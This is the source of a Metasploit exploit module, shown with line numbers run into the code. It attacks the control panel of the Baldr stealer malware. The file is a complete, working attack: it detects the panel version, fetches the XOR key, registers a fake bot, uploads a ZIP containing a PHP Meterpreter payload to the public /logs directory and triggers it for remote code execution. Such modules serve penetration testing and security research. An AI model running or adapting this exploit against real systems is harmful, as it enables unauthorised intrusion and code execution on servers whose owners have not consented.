Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/baldr_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::FileDropper8include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Baldr Botnet Panel Shell Upload Exploit',16'Description' => %q{17This module exploits an arbitrary file upload vulnerability within the Baldr18stealer malware control panel when uploading victim log files (which are uploaded19as ZIP files). Attackers can turn this vulnerability into an RCE by first20registering a new bot to the panel and then uploading a ZIP file containing21malicious PHP, which will then uploaded to a publicly accessible22directory underneath the /logs web directory.2324Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files25are encoded by XORing them with a random 4 byte key. This exploit module gets around26this restriction by retrieving the IP specific XOR key from panel gate before27uploading the malicious ZIP file.28},29'License' => MSF_LICENSE,30'Author' => [31'Ege Balcı <[email protected]>' # author & msf module32],33'References' => [34['URL', 'https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/'],35['URL', 'https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/'],36['URL', 'https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf'],37],38'DefaultOptions' => {39'SSL' => false,40'WfsDelay' => 541},42'Platform' => [ 'php' ],43'Arch' => [ ARCH_PHP ],44'Targets' => [45[46'Auto',47{48'Platform' => 'PHP',49'Arch' => ARCH_PHP,50'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }51}52],53[54'<= v2.0',55{56'Platform' => 'PHP',57'Arch' => ARCH_PHP,58'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }59}60],61[62'v2.2',63{64'Platform' => 'PHP',65'Arch' => ARCH_PHP,66'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }67}68],69[70'v3.0 & v3.1',71{72'Platform' => 'PHP',73'Arch' => ARCH_PHP,74'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }75}76]77],78'Privileged' => false,79'DisclosureDate' => '2018-12-19',80'DefaultTarget' => 0,81'Notes' => {82'Stability' => [ CRASH_SAFE ],83'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS ],84'Reliability' => [ REPEATABLE_SESSION ]85}86)87)8889register_options(90[91OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),92]93)94end9596def check97if select_target98Exploit::CheckCode::Appears("Baldr Version: #{select_target.name}")99else100Exploit::CheckCode::Safe101end102end103104def select_target105res = send_request_cgi(106'method' => 'GET',107'uri' => normalize_uri(target_uri.path, 'gate.php')108)109if res && res.code == 200110if res.body.include?('~;~')111targets[3]112elsif res.body.include?(';')113targets[2]114elsif res.body.size < 4115targets[1]116end117end118end119120def exploit121# Forge the payload122name = ".#{Rex::Text.rand_text_alpha(4)}"123files =124[125{ data: payload.encoded, fname: "#{name}.php" }126]127zip = Msf::Util::EXE.to_zip(files)128hwid = Rex::Text.rand_text_alpha(8).upcase129130gate_uri = normalize_uri(target_uri.path, 'gate.php')131version = select_target132# If not 'Auto' then use the selected version133if target != targets[0]134version = target135end136137gate_res = send_request_cgi({138'method' => 'GET',139'uri' => gate_uri140})141os = Rex::Text.rand_text_alpha(8..12)142143case version144when targets[3]145fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res146unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')147fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')148end149key = gate_res.body.to_s.split('~;~')[0]150print_good("Key: #{key}")151152data = "hwid=#{hwid}&os=#{os}&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"153data = Rex::Text.xor(key, data)154155res = send_request_cgi({156'method' => 'GET',157'uri' => gate_uri,158'data' => data.to_s159})160161fail_with(Failure::UnexpectedReply, 'Could not obtain gate key') unless res && res.code == 200162print_good('Bot successfully registered.')163164data = Rex::Text.xor(key, zip.to_s)165form = Rex::MIME::Message.new166form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{hwid}.zip\"")167168res = send_request_cgi({169'method' => 'POST',170'uri' => gate_uri,171'ctype' => "multipart/form-data; boundary=#{form.bound}",172'data' => form.to_s173})174175if res && res.code == 200176print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")177register_file_for_cleanup("#{name}.php")178else179print_error("Server responded with code #{res.code}")180fail_with(Failure::UnexpectedReply, 'Failed to upload payload')181end182when targets[2]183fail_with(Failure::NotFound, 'Failed to obtain response') unless gate_res184unless gate_res.code != 200 || gate_res.body.to_s.include?('~;~')185fail_with(Failure::UnexpectedReply, 'Could not obtain gate key')186end187188key = gate_res.body.to_s.split(';')[0]189print_good("Key: #{key}")190data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"191data << zip.to_s192result = Rex::Text.xor(key, data)193194res = send_request_cgi({195'method' => 'POST',196'uri' => gate_uri,197'data' => result.to_s198})199200unless res && res.code == 200201print_error("Server responded with code #{res.code}")202fail_with(Failure::UnexpectedReply, 'Failed to upload payload')203end204205print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")206else207res = send_request_cgi({208'method' => 'POST',209'uri' => gate_uri,210'data' => zip.to_s,211'encode_params' => true,212'vars_get' => {213'hwid' => hwid,214'os' => os,215'cookie' => '0',216'pswd' => '0',217'credit' => '0',218'wallet' => '0',219'file' => '1',220'autofill' => '0',221'version' => 'v2.0'222}223})224225if res && res.code == 200226print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")227else228print_error("Server responded with code #{res.code}")229fail_with(Failure::UnexpectedReply, 'Failed to upload payload')230end231end232233vprint_status('Triggering payload')234send_request_cgi({235'method' => 'GET',236'uri' => normalize_uri(target_uri.path, 'logs', hwid, "#{name}.php")237}, 3)238end239end240241242